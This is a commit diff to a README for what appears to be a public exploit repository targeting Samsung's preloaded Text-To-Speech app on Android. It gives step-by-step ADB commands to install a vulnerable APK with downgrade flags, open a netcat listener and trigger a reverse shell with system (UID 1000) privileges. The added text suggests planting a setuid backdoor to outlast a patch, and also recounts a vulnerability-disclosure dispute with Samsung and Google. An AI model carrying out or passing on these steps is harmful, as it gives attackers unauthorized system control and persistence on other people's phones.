Update README.md

---additional information

Signed-off-by: K0mraid3 <62849592+k0mraid3@users.noreply.github.com>

README.md

@@ -13,3 +13,10 @@ Step 2 - Make sure ADB is on, Connected and authorized and all power saving is o
 Step 4 - When device reboots, run this command from ADB. adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk ---> it will return "Success" when done.
 
 Step 5 - Now, open two shells, in the first, do nc -lp 9997 & in the second, do am start -n com.samsung.SMT/.gui.DownloadList -> Look back at the first shell., it should have opened into a new system (UID 1000) shell.
+
+Some things to note: We can use localhost or staric IP, this basically uses a trick with the libmstring and netcat to open a reverse shell in the context of Samsung Text-To-Speech, a preloaded system app on all samsung mobile devices. Once as system, we could find a dir/make a dir somewhere, with a script to get back in, chmod a+s and make a backdoor to outlive a patch of this too...
+
+Its hit or miss, this thing has a personality of its own sometimes in the  sense it will work, or it wont, just keep trying to nc -lp into the shell, its there.
+
+About this project:
+Its full or drama and BS. I reported this to Samsung in October 2022, but they have decided this is GOOGLES problem and forgot to tell me their decision. LONG STORY CUT SHORT, Between the time Samsung decided this was GOOGLES problem and them telling me of that decision, somehow, "another external security researcher" reported this exact thing to google in the context it was their find. IDK who, nor do I really care at this point. Its done and over with, but stuff like this is what makes some security researches ever hesitant to share their finds, even with the shady vendors/OEMS.